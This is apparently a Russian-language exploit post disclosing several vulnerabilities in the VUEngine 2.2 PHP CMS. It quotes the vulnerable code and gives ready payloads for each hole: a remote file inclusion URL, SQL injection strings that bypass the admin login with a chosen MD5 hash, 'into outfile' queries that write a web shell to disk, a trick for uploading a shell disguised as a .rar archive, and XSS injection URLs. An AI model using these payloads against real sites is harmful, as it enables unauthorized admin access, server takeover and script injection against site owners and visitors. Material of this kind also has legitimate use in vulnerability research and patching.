VUEngine 2.2 Multiple Vulnirables 1) Remote File Inclusion Файл: export.php PHP: <? require("config.php"); require($path."php/class.php"); http://localhost/vu/export.php?path={RFI}? 2) Blind SQL-Injection Needed: magic_quotes_gpc=off Файл: /admin/login.php PHP: if (@$gardemarin) { $res = $site->sql_query("SELECT * FROM ".$prefix."users WHERE user = '$log_name'"); if (!$res) { die ("Имя или пароль неверны"); } $myrow=mysql_fetch_array($res); if (md5(@$log_pasw) != $myrow["pass"]) { die ("Имя или пароль неверны"); } $type = $myrow["type"]; } Уязвимость в переменной $log_name I) Есть возможность обойти авторизацию в поле логин пишем blabla' union select 'admin','1e9b5660ab6ac33664aec0eb59566fd0','2 в поле пароль пишем пасс, хеш которого написали в поле логин, т.е есть возможность залогинится в админке с любым пасом, зная только логин админа II) Ну соответсвенно при наличие file_priv и папки на запись можно узнать хеш админа в поле логин пишем admin' into outfile '/tmp/xek.txt пароль любой или залить шелл admin' union select 0xshellcode,2,3 into outfile '/tmp/shell.php Обращаю внимание что во всех случаях в конце кавычку ставить не надо, её подставит сам скрипт =) В админке шелл льётся через загрузку архивов, грузим shell.php.rar, при удачном раскладе апач обработает файл как php-скрипт 3) XSS Файл: export.php PHP: if ($border ==1) { echo "document.writeln('<table border=1 bgcolor=$bgcolor bordercolor=$bcolor> <tr> <td>');\n"; } else { echo "document.writeln('<table border=0 bgcolor=$bgcolor> <tr> <td>');\n"; } echo "document.writeln('<font color=$txtcolor>');\n"; http://localhost/vu/export.php?border=1&bcolor=">{XSS} http://localhost/vu/export.php?bgcolor=</tr>{XSS} http://localhost/vu/export.php?txtcolor=">{XSS} Файл: /admin/mod.php Файл: /admin/full.php Файл: /admin/author.php Код не привожу. Массивы $lnk и $ltxt подвержены xss Пара примеров http://localhost/vu/admin/mod.php?ltxt[1]={XSS} http://localhost/vu/admin/mod.php?lnk[16]={XSS}